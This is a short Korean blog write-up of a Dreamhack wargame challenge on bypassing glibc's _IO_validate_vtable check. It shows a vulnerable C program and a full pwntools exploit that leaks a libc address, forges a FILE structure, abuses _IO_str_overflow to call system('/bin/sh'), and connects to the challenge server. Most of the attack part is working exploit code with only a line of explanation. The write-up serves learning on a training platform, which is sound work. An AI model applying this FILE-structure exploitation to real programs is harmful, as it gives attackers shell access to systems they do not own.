[Dreamhack] Bypass IO_validate_vtable

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
34/44

📒 Description


📒 C code

📖 bypass_valid_vtable.c

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie 

#include <stdio.h>
#include <unistd.h>

FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  init();

  fp = fopen("/dev/urandom", "r");

  printf("stdout: %p\n", stdout);
  printf("Data: ");

  read(0, fp, 300);

  fclose(fp);
}

이 문제의 버전은 validate 포인터가 변경되었는 지를 검사한다. 따라서 우리는 vtable 포인터를 변경할 수는 없는 상태이다. _IO_str_overflow를 이용해야 한다.
내가 생각한 풀이 방법이다. 위처럼 풀이하면 된다.


📒 Exploit

📖 exploit.py

from pwn import *

REMOTE = True

#p = process('./bypass_valid_vtable')
e = ELF('./bypass_valid_vtable')

if REMOTE == False:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    binsh_offset = 0x1b45bd
else:
    p = remote('host3.dreamhack.games', 20265)
    libc = ELF('libc.so.6')
    binsh_offset = 0x1b3e9a

fp = e.symbols['fp']
stdout_offset =libc.symbols['_IO_2_1_stdout_']
system_offset = libc.symbols['system']

__file_finish_offset = 0x10
__str_overflow_offset = 0xd8
_IO_file_jumps_offset = libc.symbols['_IO_file_jumps']
final_offset = __str_overflow_offset - __file_finish_offset


p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset

p.recvuntil('Data: ')

binsh_addr = libc_base + binsh_offset
_IO_file_jumps_addr = libc_base + _IO_file_jumps_offset
system_addr = libc_base + system_offset

payload = p64(0) * 4 # _flags, _readptr, _readend, _readbase
payload += p64(0) # write_base
payload += p64((binsh_addr - 100) / 2) #write_ptr
payload += p64(0) #write_end
payload += p64(0) #buf_base
payload += p64((binsh_addr - 100) / 2) #buf_end
payload += p64(0) * 8
payload += p64(fp+0x80)
payload += p64(0) * 9

payload += p64(_IO_file_jumps_addr + final_offset)
payload += p64(system_addr)

p.send(payload)
pause()
p.interactive()
profile
Today I Learned

0개의 댓글